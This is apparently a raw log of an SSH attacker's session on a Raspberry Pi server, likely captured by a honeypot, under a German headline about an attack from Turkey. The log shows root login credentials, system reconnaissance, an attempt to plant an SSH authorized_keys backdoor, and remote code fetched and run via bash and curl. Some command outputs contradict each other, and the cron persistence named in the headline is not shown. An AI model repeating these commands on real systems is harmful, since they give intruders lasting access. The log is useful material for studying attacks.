SSH-Angriff aus Türkei: Schadcode nachladen und Einnisten per Cronjob

user='root' pass='artin1234'
root@srv01:~$ sh -c 'HISTFILE=;SA_OS_TYPE="Linux"
REAL_OS_NAME=`uname`
if [ "$REAL_OS_NAME" != "$SA_OS_TYPE" ] ;
then
	echo `uname` 
else
DISTRIB_ID=\"`cat /etc/*release`\"
	echo $REAL_OS_NAME;
	echo $DISTRIB_ID;
fi;
exit;'
Linux
DISTRIB_ID="Raspbian GNU/Linux 10 (buster)"
root@srv01:~$ :put [/system resource get platform]
bash: put: command not found
root@srv01:~$ echo $SHELL
/bin/bash
root@srv01:~$ exit
root@srv01:~$ cat .bash_history
# ~/.bash_history
# 2026-09-15 08:23:45
ls -la /etc/cron.d/
cat /etc/cron.d/maintenance
# 2026-09-20 14:10:12
apt-get update
apt-get upgrade -y
# 2026-10-01 09:00:01
systemctl restart mqtt-broker
# 2026-10-05 11:30:22
wget -q -O /tmp/sensor_update.tar.gz http://[IP]/firmware/v2.1.4.tar.gz
tar -xzf /tmp/sensor_update.tar.gz -C /opt/sensor/
# 2026-10-10 16:45:00
crontab -l
# 2026-10-12 02:15:33
ping -c 4 [IP]
# 2026-10-15 10:00:00
systemctl status mosquitto
# 2026-10-20 03:05:10
whoami
hostname
ifconfig eth0
root@srv01:~$ sleep .3
root@srv01:~$ mkdir -p ~/.ssh
mkdir: cannot create directory ‘/root/.ssh’: File exists
root@srv01:~$ chmod 700 ~/.ssh
chmod: cannot access '/root/.ssh': No such file or directory
root@srv01:~$ nano ~/.ssh/authorized_keys
bash: nano: command not found
root@srv01:~$ x-ui
bash: x-ui: command not found
root@srv01:~$ ps
PID TTY          TIME CMD
    1 ?        00:00:01 systemd
    2 ?        00:00:00 kthreadd
    3 ?        00:00:00 kworker/0:0
    4 ?        00:00:00 kworker/0:1
    6 ?        00:00:00 ksoftirqd/0
    7 ?        00:00:00 kworker/u2:0
    8 ?        00:00:00 migration/0
    9 ?        00:00:00 watchdog/0
   10 ?        00:00:00 ksoftirqd/1
   11 ?        00:00:00 kworker/1:0
   12 ?        00:00:00 kworker/1:1H
   13 ?        00:00:00 ksoftirqd/2
   14 ?        00:00:00 kworker/2:0
   15 ?        00:00:00 kworker/2:1H
   16 ?        00:00:00 ksoftirqd/3
   
root@srv01:~$ htop
bash: htop: command not found
root@srv01:~$ mkdir -p /root/.ssh
root@srv01:~$ chmod 700 /root/.ssh
root@srv01:~$ ls -ld /root/.ssh
drwx------ 2 root root 4096 Oct 20 03:15 /root/.ssh
root@srv01:~$ vi /root/.ssh/authorized_keys
bash: vi: command not found
root@srv01:~$ touch /root/.ssh/authorized_keys
root@srv01:~$ bash <(curl -Ls https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh)
root@srv01:~$ x-ui
bash: x-ui: command not found
root@srv01:~$ command -v x-ui
root@srv01:~$ journalctl -u x-ui -n 50 --no-pager
No such file or directory
root@srv01:~$ cat /etc/os-release
root@srv01:~$ uname -m
armv7l
root@srv01:~$ command -v curl
/usr/bin/curl
root@srv01:~$ curl -IL --max-time 15 https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh
HTTP/2 302 
date: Tue, 20 Oct 2026 03:22:05 GMT
content-type: text/html; charset=utf-8
content-length: 0
location: https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh
cf-cache-status: DYNAMIC
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=abc123"}],"group":"cf-nel","max_age":604800}
nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
server: cloudflare
alt-s: h3=":443"; ma=86400
HTTP/2 200 
date: Tue, 20 Oct 2026 03:22:05 GMT
content-type: text/plain; charset=utf-8
content-length: 4521
etag: "abc123def456"
cache-control: max-age=300
x-content-type-options: nosniff
x-geoip-country: US
cf-cache-status: HIT
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xyz789"}],"group":"cf-nel","max_age":604800}
nel: {"
root@srv01:~$ ls -l /etc/os-release
root@srv01:~$ cat /proc/version
root@srv01:~$ dpkg --print-architecture
root@srv01:~$ getconf LONG_BIT
root@srv01:~$ curl -fLsS --max-time 30 \
curl: no URL specified
root@srv01:~$ https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh \
root@srv01:~$ -o /tmp/3x-ui-install.sh
root@srv01:~$ echo TEST
TEST
root@srv01:~$ /bin/cat /proc/version
Linux version 5.10.103-v7l+ (pi@raspberrypi) (arm-linux-gnueabihf-gcc-8 (Debian 8.3.0-6) ~ 8.3.0, GNU ld (GNU Binutils for Debian) ~ 2.31.1) #1373 Mon, 12 Feb 2024 11:55:50 +0000
root@srv01:~$ /bin/ls -l /etc/os-release
-rw-r--r-- 1 root root 264 Oct 20 03:24 /etc/os-release
root@srv01:~$ /usr/bin/dpkg --print-architecture
armhf
root@srv01:~$ /usr/bin/getconf LONG_BIT
32
root@srv01:~$ /bin/cat /etc/os-release
root@srv01:~$ curl -fLsS --max-time 30 -o /tmp/3x-ui-install.sh https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh